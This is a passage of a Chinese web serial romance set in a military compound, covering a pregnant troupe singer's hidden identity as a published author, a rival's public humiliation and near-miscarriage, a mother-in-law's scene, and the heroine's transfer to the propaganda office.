瞧见沈棠手里的信,他挑了挑眉:“这孩子,有点精啊。” 沈棠:“什么意思?” 贺旭想捏沈棠的脸,被她嫌弃的躲过。 这家伙没洗手呢。 贺旭也不在意,他轻笑道:“你想想,他这信为什么只敢偷偷让你转交,而不交给我?” 第一卷 第89章 沈棠就想当条在暗地里发大财的咸鱼 “一来这孩子知道你怀着孩子,容易心软。二来是你进了江家院子后,没有丝毫嫌弃就坐在了他们家的凳子上,可见你性子平和,并不傲气凌人。 他趁我不在将信交给你,可以说是笃定你接了信,就不会因为我不同意而拒绝帮他,相反,要是交给我,他无法保证我同样有一份怜悯心在,会帮他这个忙。” 沈棠不太相信:“那孩子看着才不到五岁,有这么多想法吗?” 贺旭:“人小,心眼多,从你进村子他就在观察了。” 沈棠随口感叹:“有心眼总比没心眼好,没心眼怎么被磋磨死都不知道。” 贺旭侧头看她,小姑娘眉眼弯弯似月亮,笑起来娇俏又阳光,单纯的好似没有沾染过一丝阴霾,完全没有被小孩利用的恼怒。 他眼神一下就变的柔和了,拉住她的手往回走。 因为要开车,沈棠没让贺旭喝酒。 吃完饭,贺旭和江涛聊了许久,他们才启程回军区。 怀着孩子比较嗜睡,沈棠迷迷糊糊在车上睡着,到了军区,贺旭将她抱进屋子。 给她换衣服的时候,发现她口袋里那张纸张。 他无奈的一笑,算了,既然糖糖已经答应了,他明天将信交给二团的江连长就是。 二团的江连长他倒是接触过,这人的功勋和年岁完全可以升到副营长了。 偏偏差了点运气,在一次任务中犯了错误,导致与他差不多大的韩忠国都升上来了,他还在原地。 可惜了那孩子。 沈棠知道贺旭将信交给了江连长后,一直很关注后续。 江宿今年过年只回去吃了个年夜饭,即便拜托了父母照看点孩子,却依旧不管用,孩子过年的时候就问过他能不能带他一起走,如今再次询问,大概是真的受不住了。 江宿看到信后深叹了一口气,立刻就请假回去了。 到底是自己的亲生孩子,被打成那样,还不如带到部队里来,找个婶子给点钱帮忙照顾着呢。 第二天,沈棠去上班,听李红说石冰请假了还有些稀奇。 这人前儿个才去了医院,难道是出了什么事? 沈棠肚子还不算大,最近的表演还能上台。 让她无语的是,每次他们有表演,吴团长总要来捧场。 要知道自从吴团长结婚之后就很少来看文工团女兵表演了。 他们文工团表演大多是在入夜后,这个时间段大家都下了班,有些军人也得空,但一般不是重要的演出,看的人其实并不多。 尤其是像吴团长这样结了婚的,很少会一个人来看表演。 沈棠表演完,下了台就瞧见了在下方等着的贺旭。 贺旭将她的外套给她披上,捏了捏她的小脸,还不忘赞扬一句:“唱的很好听。” 沈棠羞的将脑袋瓜塞进他怀里。 吴团长看到这一幕,眼眸闪了闪,羡慕道:“你们俩夫妻关系真好,不像我那个,哎。” 说完,他还将手中的花递给了沈棠。 贺旭眼眸沉了沉,淡淡笑着将花推了回去:“嫂子怀了孩子,团长你也该多回去陪她,这花你拿回去哄嫂子,想来她心情也会好些。” 吴团长随意点头,并没将他的话听进去。 沈棠虽然疑惑着吴团长怎么像变了人似的,但也没兴趣打听别人家的事,高高兴兴的拉着贺旭回家了。 黑夜中,贺旭侧头瞥了一眼吴团长,锐利如兵刃的眸子里闪过一道戾气。 几天后,石冰销了假回文工团。 她脸色发白,身体消瘦,看着像是大病了一场。 不少人都在安慰她,唯独许婷在旁边冷笑:“装的真好,怀了个孩子而已,天天请假,真当自己是大小姐了?” 徐慧觉得她说话太刺耳,冷声呵斥:“你不会说就别会说话!石冰自怀孕以来,一直孕吐,瘦了不止一圈,你跟个孕妇计较你真是厉害!” 许婷没怀过孩子,她才不相信有人孕吐这么惨,嘴贱的吐槽:“就她矫情,看看人家沈棠,怀孕以来吃什么都香,活蹦乱跳都没事。” 沈棠也觉得自己怀的这个孩子实在是听话,不孕吐,也没有什么吃不下的,只是闻不得腥味而已。 “许婷你太过分了,石冰前些日子日夜帮肥厂写宣传稿,后来还编曲编歌,沈棠除了吃还会什么?” “就是,石冰和沈棠那能比吗?除了一张脸什么优点都没有,花钱那么大,现在人家贺营长不嫌弃,以后指不定怎么闹呢!” 沈棠在旁边听到,无语至极:“嘴巴碎的跟个狗一样,犬吠不止,我花多少钱关你们什么事?” “呵,我们还难道还说错了,你除了那张脸能勾搭男人,你还会什么?石冰姐可是在报纸上发表过文章的人!” 文工团嫉妒沈棠的很多,尤其是王晓雨和她宿舍长,每次看到贺旭对沈棠那么好就后悔不已。 早知道贺旭那么有钱,还舍得给媳妇花,她们早就追了。 几个人完全忘了她们当初试图接近贺旭时,被他冰冷锋利的眼神给吓到的事。 “发过报纸又怎么了?南光报社那不是有钱就能上吗?”沈棠不想理会这些人的阴暗心理。 众人崇拜的不是石冰的文章上了报纸,而是崇拜她能被化肥厂请过去写宣传稿。 故而对于沈棠这番不屑之话,纷纷怒斥:“那你有本事倒是发一个来看看?” “对呀,我听说周糖作者就是新人,沈棠你也是高中毕业,怎么着也不能差了不是?” “就是,看她高傲的,还以为自己多厉害呢。” “一点也比不上石冰姐的温柔可亲,贺营长怎么选了她啊?” 石冰眼神一闪,适当的打断话题:“算了,大家别为我吵了,还是快排练吧。” 沈棠知道石冰想要阻止她暴露周糖作者的身份,毕竟文工团里也有不少人在看杂志社和小说新报。 不过沈棠自己也不想暴露。 她是想打脸,但也要为之后的事考虑。 文工团的众人靠不住,她们知道后,指不定会闹成什么样子呢,说不定还会因为嫉妒而造谣她。 沈棠就想当条在暗地里发大财的咸鱼,可不想当个被生长在阴暗环境里的人觊觎且试图毁灭的主角。 几人正在排练,窗外却忽然走了来几个领导,李团长还在其中陪同。 许婷在潭师长那见过不少人,一眼就认出了潭师长旁边的男人。 “那不是化肥厂厂长吗?” 看他们的方向,显然是要推门进来看他们排练。 第一卷 第90章 许婷只有一个念头,那就是撕破石冰的脸面! 许婷恍惚了下,难道石冰真的这么厉害,连化肥厂厂长都亲自来看望她? 众人看到那么多领导,要有多认真就多认真。 但私下里却小声的说着:“化肥厂长长该不会是来找石冰的吧,是因为上次的宣传稿写的太好了?” “我估计是,化肥厂厂长应该是认识石冰,不然也不会来咱们这。” “石冰,你上次去化肥厂,是化肥厂厂长招待的你吗?” 石冰也有些迷茫,难道自己写的那篇文章真的那么好,以至于让化肥厂厂长都来看她排练了? 上次是李副主任招待的她,她连人家宣传科的主任都没见到。 按理说化肥厂厂长不可能专门来看她呀? 石冰没有想过化肥厂厂长是来看沈棠的。 她对沈棠的笔名有猜测,但因为她不喜欢看报纸,加上吴团长他妈到来,她现在是身心疲惫,劳累不堪,根本没去看沈棠最近有没有发表什么东西。 而且李副主任都明确说了,化肥厂宣传科就找了她一个,沈棠没帮化肥厂写文章,自然也不会跟化肥厂厂长认识。 就算化肥厂厂长知道沈棠就是周糖又怎么样? 一个小小的作者,怎么可能让领导专门来看望? 她这么想着,却总觉得莫名有些心慌。 潭师长带着化肥厂厂长走到门边就停下了,李团长打开门,直接招呼沈棠出来。 沈棠一走,其余人也没心情排练了,纷纷嘀咕李团长叫沈棠干什么? 许婷眼睛一转,仗着自己是潭师长夫人的侄女,慢慢走到了门边。 “师长,您找我?”沈棠走上前问道。 潭师长给她介绍了身边的人。 化肥厂厂曾强国长大概一米七左右,穿着的朴素,身材有点发福,看着还算板正,国字脸普普通通,唯独那双眼睛很是犀利。 打量了下沈棠,他笑不达眼底:“原来你就是周糖小作者,我在报纸上看到你发表的文章了,写的真不错,有没有兴趣帮我们化肥厂写一篇宣传稿?” 沈棠不缓不慢道:“抱歉厂长,我肚子怀着孩子,暂时没什么精力去写宣传稿。不过我想化肥厂本身实力雄厚,即使不宣传大家也都争抢着贵厂的化肥呢,宣传稿只不过纸上添花,厂长若是想要宣传最新一批化肥,大可以找贵厂宣传科的人,我不过是个小作者,在写宣传稿上比不得贵厂的宣传人员,恐怕会耽误厂长的事。” 曾强国这才重新打量起眼前的人来。 少女看着年轻气盛,每一句话却说的极体面。 他还以为自己亲自邀请一下,这姑娘就算因为上次的事对化肥厂有了意见,也不会再次拒绝。 “不愧是读过书的人,一篇宣传稿就能将海立饲料厂的名声打出去,上次李康得罪你的事,我已经惩罚过他了,事实上你想的没错,我确实想将我们厂最新一批化肥名声打出去,找你写宣传稿也是临时起意,周糖小作者,你可是不满意我给的报酬?” 曾强国周身的压迫感很重,这话看似玩笑般问她,却不自觉带了一股子上位气势。 潭师长拍了拍曾强国,后者才回过神来,想到自己并不是在工厂,而是在部队,便收回了身上散发的气势。 沈棠感激的看了一眼潭师长。 心里对曾强国这个人有了计较。 上位待久了,对待下位就会不自觉产生一种俯视,对方并没有将她放在眼里,自然也不认为她会拒绝他。 然而真当沈棠拒绝时,对方心里就不舒服了。 他觉得自己的权威被挑衅,自己的面子被践踏,话里话外将自己放在重要位置,压迫的气势和言语都在威胁她要顺从他。 可沈棠根本不在乎他的想法。 一个厂长,他管不到军区,也威胁不了她的家人。 她想拒绝就会拒绝,管他是什么人呢。 化肥厂虽然是曾强国一手带起来的,但现在的工厂都属于国家经营。 在某种程度上厂长的级别能够对应师长级别,厂长不用听从师长的命令,师长也无权调动厂长职位,所以曾强国给李主任一个教训,推迟与军区的化肥合作,师长还真没办法去指责人家。 毕竟人家也会找借口,说最新的化肥要先提供给哪个重要的军区,又或者这一批量小,哪个公社急着用。 潭师长同意李主任成立研究所,暗戳戳的帮他去挖化肥厂的技术人员,也是想出口气。 这个年代人民对军人很是崇拜,能为国家奉献那是在所不惜,最重要的是军区还提供房子及各种福利。 这对于那些十几口都住在三十平房子的人来说,简直不要太诱人。 曾强国看到技术部走了那么多人,终究还是没忍住,亲自来了军区和解。 潭师长是个八面玲珑的人,面上总是笑眯眯的说着好话,其实心里最记仇。 你不是拒绝给我们化肥吗? 那好,我挖你的人,自己研究总成了吧? 至于最后要不要扩大规模,要不要成立工厂,那就是我的事了。 曾强国以为自己来了一趟军区,打着以往的情分和潭师长和解,就以为解决了这事,对沈棠自然也没有多少耐心。 沈棠抿唇一笑:“我不知厂长您给了我怎样的报酬,但李副主任那只说让我帮忙写宣传稿,至于稿费那基本没有,我怀着孩子,怎好劳累?自然就拒绝了。 其实报酬不报酬的我并不在乎,我写文章发表,其内容要真实、要有意义,化肥厂只是想要打响最新一批化肥名声,在我看来是不需要发表在光明日报上的,有没有报酬,我都会拒绝。” 曾强国脸色明显有些难看,他真想问,既然你有没有报酬都会拒绝,那你干嘛要帮饲料厂写? 这不是瞧不起他们化肥厂吗? 正说着,许婷在旁边忽然插了一句嘴:“石冰不是帮你们写过宣传稿了吗?怎么又找沈棠写,难道人家就可以捡剩下的吗?” 她听到沈棠是周糖的时候震惊极了,继续听下去后,就只有一个念头,那就是撕破石冰的脸面! 虽然她也不喜欢沈棠,谁让她长的漂亮,又嫁给了自己暗恋的人。 可人家怎么说也救过她,她也不在乎对方会因此出名,只要能将石冰踩在脚下就好! 第一卷 第91章 沈棠是周糖作者 潭师长瞪了她一眼:“闭嘴。” “曾厂长真不好意思,那是我侄女。” 曾强国听的怒火升起,本来还想阴阳怪气的指责一番,听到是潭师长的侄女,愣是把脾气给压了下来。 “我不知道你说的那个石冰是谁。” 许婷一听就笑了:“石冰,曾厂长叫你呢。” 文工团的人面面相觑,见石冰走了出去,也跟着在后面围观看戏。 石冰脸上堆笑:“厂长,您好,上次我帮化肥厂写的宣传稿发表在了南光日报上,不知道您是否满意?” 那篇宣传稿费了她不少劲,为此还借鉴了不少文章,南光日报都发表了,想来应该不差吧? 她其实知道厂长不可能记得她的,但华国的人都注重面子情,她态度友好,想必曾厂长应该不会拂她的面子。 曾强国看到她拧了拧眉:“你是李康找来的那个写宣传稿的?你与李康是什么关系?” 石冰面色一僵:“我和李副主任并没有关系。” 曾强国被沈棠和许婷连续拂面子,此刻心情非常不好。 他眼神冰冷犀利:“化肥厂的宣传科又不是没有人了,需要你一个没接触过写作的外人来帮化肥厂写宣传稿,你要是和李康没关系,他凭什么选择你?” 石冰当然不能说真正的原因,看到许婷那张似笑非笑的脸,她心里暗恨,带着两分自信冷静道:“是因为我那篇文章写的好,李副主任才会选择我。” 曾强国神色有些不耐烦:“你就算是写的再垃圾,只要带上我们化肥厂的名字,南光分报社都能发表你的文章。 我不管你和李康达成了什么协议,也不管你和这位周糖作者有什么恩怨,我真正想要帮我们工厂写宣传稿的,只有周糖作者。” 潭师长看石冰脸色一下子涨红一下子青白,又看到自家侄女那努力憋着的嘲讽之笑,再看看沈棠面色不改,只微拧眉的模样,心里也轻叹。 真给贺旭这小子找到好的了。 “曾厂长,走吧,人你也打过招呼了,别耽误她们排练,我请你吃饭。” 曾强国也明白沈棠不可能帮他们厂写宣传稿了,没多纠结便跟着潭师长离开了这里。 他的目的其实并不在于沈棠帮不帮他们写宣传稿身上。 而是想试探一番军区农场的李主任挖他们工厂技术工有没有这个小作者的原因在。 李主任那个死脑筋的,没有人提醒根本不会想到来挖他们工厂的人,今天试探了一番沈棠,他发现这个姑娘是真聪明,这事八成是对方想出来的。 曾强国心里憋屈,军区农场的李主任是个嘴巴不把门的,上次把他们家的事宣扬的人人皆知,他本是想找个借口给个教训,没想到会闹成这样。 他倒是想给沈棠一点教训,奈何潭师长护着,对方又没有亲戚在海市,他想拿捏都没办法。 现在只能先把潭师长给哄住了。 领导们走后,许婷迫不及待的嘲讽:“啧啧啧,看看我们的大学霸,我还以为多厉害呢,结果呢,什么领导招待全是假的,人家厂长根本不人认识你,甚至连所谓的发表文章,原来也不是你写的好,是靠着化肥厂的名声啊!” “我说呢,明明她之前也没写过文章啊。” “她要走这能力,早就进宣传科了,怎么可能待在文工团。” “真虚荣,我还以为她多厉害呢。” 石冰站在原地,全身冰冷不知所措。 原本恭维她的人此刻变的沉默不语。 嫉妒她的人出口恶言。 有一瞬间她仿佛再次回到了那个冰冷的巷子里,被所有人辱骂殴打,被讥讽,被厌恶。 肚子忽然就痉挛似的痛起来。 “血!有血!” 众人惊的一下纷纷后退,她们可不想沾染上人命啊! 石冰低头一看,肚子上竟然沾了红色,眼前一黑,差点晕厥过去时被旁边的王晓雨扶住。 沈棠瞳孔一缩,下意识的摸向自己的肚子,叫道:“李红你赶紧去叫团长,林晓麻烦你叫人借个车过来,赶紧送她去医院。” 许婷也慌了,她没想到石冰会流血。 “我就是说两句,她体质也太差了吧?那不是化肥厂厂长接待的就不是呗,谁让她自己表现的那么虚荣……” 徐慧听到许婷的声音只觉得刺耳:“够了,许婷你不要太过分,化肥厂厂长当然不可能接见一个小作者,可人石冰也没说自己是被化肥厂厂长接待的,就算沈棠是周糖,去了化肥厂不也是一样。 石冰从来没有说自己是大作家,也没说自己是学霸,是你们这些人为了讨好、恭维,将人捧的高高的,现在看到人家没你们想象的那么厉害,就到处讥讽人家。 当初嘲讽沈棠的,如今来嘲讽石冰!你们真是让我大开眼界! 即使人家有点虚荣怎么了,没那么厉害又怎么了,再怎么说,她们都比你们优秀,嘲讽一个比你们优秀的人,不就是想要满足你们内心扭曲的嫉妒吗?” 她也嫉妒石冰,也讨厌石冰占着主唱之位,让所有人都嘲讽她是个替补。 可她知道,即使没有石冰自己也不可能在主唱之位站稳,石冰得势的时候她从不讨好,失势的时候她也不想落井下石。 何况石冰要是真流产了,在场谁都有责任,哪怕是他们这些冷眼旁观的人! 许婷被她这么指责,心里火气上腾,双眸赤红怒驳:“我嫉妒她?徐慧你在说什么屁话?我看不惯她,是看不惯她虚伪的表面。 当初在大河村,我差点就被人欺负了,她呢,明明听到了我求救声,自己不救我也就罢了,却还拦着沈棠和李红救我!你知道当时我有多绝望吗?我甚至想过一死了之! 她这样自私自利、虚荣虚伪、恶毒至极的人,你都能为她说话,你当时怎么不帮我说话?你有一颗烂好人心,别加在我身上。 我告诉你,只有她在文工团一天,我就绝对不会与她善罢甘休!” 大家不知道许婷这段事,只知道当时许婷从大河村回来之后就报了警,大河村有个二流子被关押了起来。 没想到里面还有这样曲折? 可那时候石冰刚来部队,和许婷也没什么矛盾啊? 合唱团的人倒是知道这段往事,许婷不提,她们都差点忘了。 想起石冰记仇的性子,大家心里有点发毛。 这一次石冰要是流产,那许婷不得被她记恨死? “别吵了,先送她去医院。” 沈棠见石冰没流多少血,就知道孩子应该没什么问题,只是石冰自己情绪太过于起伏不定了。 潭师长那边知道情况后,借了自己的车让李团长送石冰去了医院。 这件事大家都默契的没在提,生怕再次刺激到石冰。 第92章 两口子像瓜田里找瓜的猹 文工团出了这么大的事,李团长回来后每个人都批评了一顿,尤其是许婷,直接被李团长停了职。 许婷不服,跑到她大姨面前哭诉,还没等许美为她开口呢,吴团长她母亲就来闹了。 吴母二话不说,一屁股坐在他们家门口,滚着满地泥土,哭声震天:“大家快来看啊,我们吴家十八代贫民,我儿子十五岁参军,在部队还要被领导欺负啊……” 许美怒瞪了许婷一眼,赶忙出去了。 吴母过来的时候就有不少人瞧见,她那如大喇叭一样的嗓门一喊,瞬间就让家属院八卦的婶子们将潭师长院子围了个里三层外三层。 周玲作为妇联主任,都没能挤进去,只能拉着红梅在外面听,时不时从口袋里掏出一把瓜子。 吴母来部队时间短,但短短时间就成了家属院里年轻军嫂们最讨厌的人之一。 无他,太能撒泼了。 只要一点便宜能没占到,她那大嗓门左一句“不尊重老人”右一句“你个年轻媳妇没点教养”等等能把你骂到自闭。 和张营长他妈成功并列,成为家属院“恶瘤子”之一。 “……领导都欺负人啊,我不活了啊,我儿媳妇怀的可是男孩,那可是我们家的命根子啊,结果被人家领导的侄女欺负的差点流产,都怪我们家没权没势,没法和那些要被批斗的人斗啊……” 许美听的额头青筋直跳,这时候时局紧张,军区虽然没有被波及到,但潭师长平日里能有低调就有多低调,生怕闹出点事惹来上面调查。 许婷一被停职,她就知道出事了,连忙将事情经过问清楚后,才勉强松了一口气。 知道不是只有许婷一个人说了刺激的话,且石冰没有真的流产,这事就有回旋的余地。 打开院子,迎着一众人的目光,她脸上堆起个笑:“吴婶子,你这是做什么?有什么话咱们好好谈,什么领导欺负人可不能乱说啊,我们老潭兢兢业业为人民服务,从不敢松懈,你有什么委屈,你跟我说,我肯定为你做主。” 吴母听到许美温和的话,这才止住了哭声:“真的为我们做主?我儿媳可是差点流产了!” 许美忍着她全身污垢和尘土,扶着她起来:“当然了,石冰同志在文工团差点流产的事我也听说了,这件事我侄女许婷确实有点错,但文工团的李团长已经停了她的职,也算是给石冰同志交代了。” 吴母尖声道:“这算什么交代!医生说了,我儿媳肚子的男娃差点没保住,就一个停职就算了?我告诉你,这事没完!” 许美忍着心里的怒气,半带着威胁尽量平和说:“吴婶子,石冰同志差点流产这事是因为她身体弱,你不了解情况,怎么能贸然来我们家闹?据我了解,石冰自怀孕后,时不时就要因为肚子不舒服而请假,这事你也知道吧?” 吴母脸上闪过一丝心虚,石冰身子确实弱,她当然知道,毕竟每天吃不好还要被她逮着骂,肚子能好才怪。 可她骂石冰,那还不是因为她总是勾引自己儿子去她房里睡。 怀了孕的女人就不应该和男人睡一起,她儿子白天训练多累啊,晚上还要被她勾着,精气神都没了,怀个孕都不安生。 尤其是和前头的王翠花一比,她就更看不上石冰了,当初王翠花怀着孕还能下地,生下她大孙子不照样好好的。 所以她一直不信石冰能虚弱到哪里去,觉得这城里的女人就会装,看看对面的沈棠,肚子比她还大,照样能跑能跳,身体好的不行。 这一次进医院,吴母可不觉得是自己的问题,肯定是文工团的人欺负了石冰。 她倒不是为了石冰来找公道,她是为了自己的二孙子,顺便讹笔钱出来。 “吴婶子,你来我们家闹,吴团长知道吗?” 许美以前就觉得吴柱这个人品德上有些问题,但行为上还算大气,她有时候还觉得他可惜,毕竟吴团长这人早年还是很拼的,年纪上来了之后,大概是觉得没晋升机会了,那点拼劲也没了,平日里训练完,不是来讨好她家老潭,就去文工团转悠,单身一个人有点假也不回老家,闲的发慌。 吴母当然没告诉自己儿子,儿子要是知道她来闹,肯定会阻止。 吴柱跟她说了好些道理,她也没明白。 她心想着自己在村子里闹了那么多次,领导看着她都怕,谁也不敢给她小鞋穿,在这里怎么就不能闹了? 潭师长那么大个官,她闹一下,指不定能得多少钱呢。 吴母眼睛一转:“当然知道,我听文工团的人说了,是你家侄女害的我儿媳差点流产,这事你们必须要给我们家一个交代,我儿子也是这么说的!” 许美心里暗恨,好个吴柱,平日里装的大方,对她恭敬有加,却原来是个是非不分的人! “吴婶子,我直说了吧,这件事说到底是你们家石冰太虚荣,把帮化肥厂写宣传稿一事传的人尽皆知,还大肆说自己是才女,结果人家化肥厂今天来工厂,把她戳穿了,她心里受不住才会差点流产。 我们家许婷话说的是难听了些,可文工团那边已经罚过她了,这事就算过了,你们要是闹,那就尽管闹去吧,你就算闹到大领导面前,那也是我们有理!” 许美气的火冒三丈,许婷这个侄女又蠢又毒,烂摊子一茬又一茬收都收不完。 真是她的错也就罢了,偏偏许婷针对石冰也是有原由的,石冰这次差点流产,她还真不觉得是自家侄女的错。 毕竟任谁出了那样的事后还不算计回去,只是在口头上怼几句,都称的上是善良了。 吴母一听,那还了得? 一瞬间,她咧着大嗓门就哭了起来,因为没文化,嘴里说来说去,都是领导欺负人了。 这时,外面穿来一道浑厚的男音:“这是怎么了?” 众人让开路,让潭师长走了进来,一同偷摸跟着挤进来的,还有沈棠和贺旭。 两口子像瓜田里找瓜的猹,在外探头探脑踮了半天,愣是连个人影都没看到。 这会儿终于占据最佳位置了。 第93章 我打算申请转业回老家 吴母一看潭师长来了,抹了把鼻涕,“嗷”的一下就扑了上去抱住了潭师长的腿:“领导啊,你老婆欺负乡下人啊……” 潭师长:“……” 有那么一刻,他真的觉得这个师长当的和个妇联主任似的。 “吴婶子,你们家的事我已经知道了,这事摊开来说,我们许婷确实有错,这样吧,石冰的医药费我们出了,她休息的这段日子,工钱都由我们补上,您看这样行吗?” 吴母眼睛一亮:“多少钱?” 石冰这次可是要卧床一个月的! “您看,补您三十块钱怎么样?” 石冰在隔壁市的文工团待了不少年了,转过来军区,一个月的工资也有三十六块钱,石冰休息这段日子是病假,部队是有补贴的,三十块钱已经非常足够了。 吴母立马拍拍屁股站了起来,拉着潭师长的手握了握:“我就说这么大的部队不可能欺负我们孤儿寡母的,还是领导您好啊,三十块就三十块,我吃点亏不要紧。” 潭师长嘴角抽了抽,赶紧缩回了自己的手,让妻子许美去拿钱。 许美回去拿钱的时候,还不忘戳了戳躲在屋子里的许婷:“下次再闹出事,你就滚回宁城去!” 许婷明显不服气,可又不敢再连累大姨,狠狠的踢了下角落里的扫把,这才回了自己的房间。 沈棠啃着猪肉干被贺旭拉着往回走。 猪肉干是沈母寄过来的,荒北那么缺物资,有点好东西都是晒干或者冷冻起来的冬天吃,这点猪肉干都是沈母省出来的。 贺旭看她喜欢吃,又去军区的供销社问了有没有卖,当然没有卖,正好这个季节李子出来了,他又买了些李子回来,酸的牙都要掉的东西,也就沈棠怀着孩子吃的津津有味。 路上正好遇到开着车回来的江连长,沈棠瞥了一眼,看到上次的那个小孩,见他身上的衣服已经被换成了小棉袄,枯燥头发也被梳的整整齐齐,脸上的笑容明显多了,便挥手跟他打了个招呼。 小孩被抱到地上,迈着小腿跑到沈棠面前停住:“姐姐,谢谢你帮我把信给我爸爸。” 沈棠摸了摸他的脑袋,笑容温柔:“不客气,你以后还回大江村吗?” 小孩摇摇头,眼神微黯:“我也不知道。” 他也怕爸爸把他送回老家,毕竟弟弟和后妈都在老家,他一个人在部队,爷爷奶奶和后妈肯定有意见。 但他又觉得不会,因为爸爸回去的时候,正好撞见后妈打他的场景,他住院了几天才被带到部队来。 沈棠从口袋里掏出几颗奶糖,蹲下来放在他的手心里:“这回可要拿好,别再还我了。” 小江南摸着那有些温热的奶糖,眼眶红了红:“谢谢姐姐。” 江连长走了过来,听到他们的谈话回答:“我打算把小南寄养在部队家属院,只是一时还没找到愿意寄养的人,只能先让托我们营长照顾着,贺营长,这次多谢你们了,要不是你们,我差点就见不到这个孩子了。” 贺旭淡淡看了一眼男孩,小孩脸色有些不自然的低下头。 他微微挑眉:“没事,我们就先走了。” 江连长这才低头,面色不太好看的俯视着只有不到他大腿高的孩子:“我会找个家庭寄养你,你要乖乖听话,要是再闹出什么事,我就把你送回乡下!” 江南长睫颤了下,胆怯又小心翼翼的道:“我会听话的,爸爸。” 回了家,沈棠摸着鼓起的小肚子,水色秋眸温柔的映着正在给自己脱鞋的男人:“我一直没问你,你想要男孩还是女孩?” 贺旭捏了捏她肉嘟嘟的脚丫:“男孩女孩都好,反正咱们生的好看,孩子肯定差不到哪里去。” 沈棠:“我在想,要是我有一天出了事……” “不许说了!”贺旭听到她这句话便觉得心慌不已,连忙打断她的话, 沈棠笑了笑,抱住他的脖子撒娇:“我就是设想一下,反正你不许这样对我的宝宝。” “设想也不许。”贺旭眉头拧成了川字:“我们一家,都要整整齐齐的。” 沈棠舒展眉宇轻笑,刚想应声“好”,肚子忽然被踢了下,她惊喜的摸向肚子:“他动了?” 贺旭也跟着摸了摸,好半天都没动一下:“小气鬼,你爸摸你你就不动。” 沈棠捂嘴偷笑:“他动了,咱们是不是应该开启胎教了?” 贺旭:“什么是胎教?” 沈棠:“就是平日里念书给他听,我听说肚子里听习惯了,以后出来会更加聪明。” 贺旭看着不爱搭理他的小宝宝,煞有其事的点头:“没错,虽然我不爱读书,但教育不能落下,从肚子里开始,肯定能超越其他孩子。” 肚子里的孩子:“……” 这个爸爸不能要了。 沈棠笑不可遏:“自家的孩子是好事坏都是自家的,哪能和别人家的孩子比?胎教,也是希望他能往好的方向发展,真要是学了你不喜欢读书,那就在找条路就好了。” 贺旭唇角弯了弯:“好,都应你,我去给你做饭。” 吴母找潭师长要钱的事,第二天吴团长就知道了。 因为这事,对面的吴母又是一阵撒泼,附近的人家听到那大嗓门就烦,立刻就举报到了许美这边。 许美刚拿了三十块钱出去,心里本就郁闷,听到吴家邻居投诉,上来就是一阵嘲讽。 话里话外都让吴团长管好自家母亲。 吴团长心累的不行。 最后看着吴母哭道:“妈,我打算申请转业回老家了。” 吴母瞬间就不哭了。 家属院虽然离大城市近,可这里的人都看不起她。 转业回乡下的好啊,钱虽然少了点,但儿子能在家照顾她,还没有危险,多好啊! 吴团长将她哄好,就把那三十块钱还给了潭师长。 嘴上说着转业,但心里却是舍不得离开部队的,故而一直没有行动,只哄着吴母罢了。 倒是从医院回来的石冰听到了他的话,急的不行,拉着他询问:“你真要转业?” 吴团长对石冰的态度淡了很多:“你不想跟我回老家?” “乡下的教育哪里比的上城里,你看看小河,他的成绩本来就差,要是回了老家,他的成绩不是更差。 再有一个,我也不想让我们的孩子落后别人太多。” 石冰面上温柔的解释,心里破口大骂,谁要跟他转业回家,要是知道他要转业,她才不会算计嫁个他呢! 吴团长听着她的话,目光沉思,却没有回答到底是否要转业。 第一卷 第94章 调职进宣传科 转眼一个月过去。 这天中午吃饭,沈棠得知李红有喜欢对象了,心里还惊奇了下。 没过两天,她们就见着了她那个对象。 是刚来医院就职的一位外科医生,长相清秀,气质温文尔雅,身高和一米七五的李红差不多,站在一起看着到是挺相配的,每回李红表演对方都来看。 因为沈棠肚子大了,这阵子都没上舞台上独唱,李团长那边也开始询问她想调去哪个轻松的岗位。 部队里轻松的岗位不多,她其实也没什么能选的。 没等她抉择,宣传科那边的人就把她要去了。 宣传科是所有部门中最不好进的一个部门,学历要求高,至少得高中毕业,思想上也不能拖后腿,还得写的一手好字和好文章。 沈棠从一个熟悉的环境换到另一个环境,心里还是有些紧张的。 贺旭送她到了楼下,宣传科的梁主任走了下来,笑着道:“沈棠同志,欢迎你来宣传科。” 沈棠伸手和她握了握:“主任好。” 梁主任带着她往楼上走,二楼右侧第一间办公室就是宣传科。 “你写的那两篇《嫂子》和《草地里最后一个兵》写的真好,我那时候还想着,你要是能来咱们宣传科就好了,咱们宣传科就需要你这样的人才。” “知道你要调职,我立马就去找师长要人了,你别紧张,咱们宣传科虽然忙,但人都很好,我都跟他们打过招呼了,让他们都照顾着你点。” 沈棠心里的紧张消退了点:“我之前没有在宣传科工作过,不知道要做些什么?” 梁主任:“咱们部队的宣传科一共就五个人,主要负责学习和宣传思想、拟制各类政治工作和指示、开展文化和心理服务活动、以及走访慰问等工作。 你写文章好,又怀着孩子,我打算让你先负责先进事迹和典例经验的宣传,主要是写文章,不用坐班,偶尔来办公室整理资料就行,你觉得如何?” 梁主任对沈棠的印象特别好,还特意提了句:“每个月需要写的文章不多,需要的时候我们在找你,没事的时候你可以在家休息。” 沈棠看她:“这工作这么轻松?” “也是因为你的文章传到了上面,领导们重点表扬了我们。” 沈棠恍然大悟,她就说梁主任怎么这么大方。 合着把她要过来当写手。 两人走到二楼,办公室里只有两个人在,梁主任给沈棠介绍:“田晓甜负责宣传思想,周巧兰负责的是开展文化工作,还有两个人今天都出去走访慰问了,明天才回来,你先适应一下,后天周一过来报道行吗?” 沈棠点头:“可以的。” 宣传科事多忙碌,梁主任交代完事就离开了。 沈棠看向办公室里的人,田晓甜和周巧兰年纪都在二十多岁,家属院人多,她也不是每个人都认识,只是看着有些眼熟。 田晓甜倒是知道沈棠,她笑着道:“你先坐,我给你倒杯水。” 一边倒着水,一边自我介绍:“我是二团赵和平赵副营长家的,周巧兰是三团刘副营长家的,我们随军也就随了几年,平日里上班,文工团和我们又不是一条路,所以你不认我们很正常,不过我倒是常常听说你。” 沈棠疑惑:“听说我什么?” “他们说,你是文工团的一枝花。” 沈棠:“……” 田晓甜看她尴尬的脸都红了,没忍住笑出声:“其实我觉得他们说的没错,你长的可真漂亮,你肚子里的孩子几个月大了?” 沈棠:“五个多月了。” 田晓甜点头:“那你预产期在八月,有没有问医生性别?” 沈棠觉得这人真热情,她摇了摇头,就听对方说:“你第一胎,是男是女都是好的。” 旁边的周巧兰搭了一句:“还是生个男娃好,免得婆婆不满意,做个月子都做不安生。” 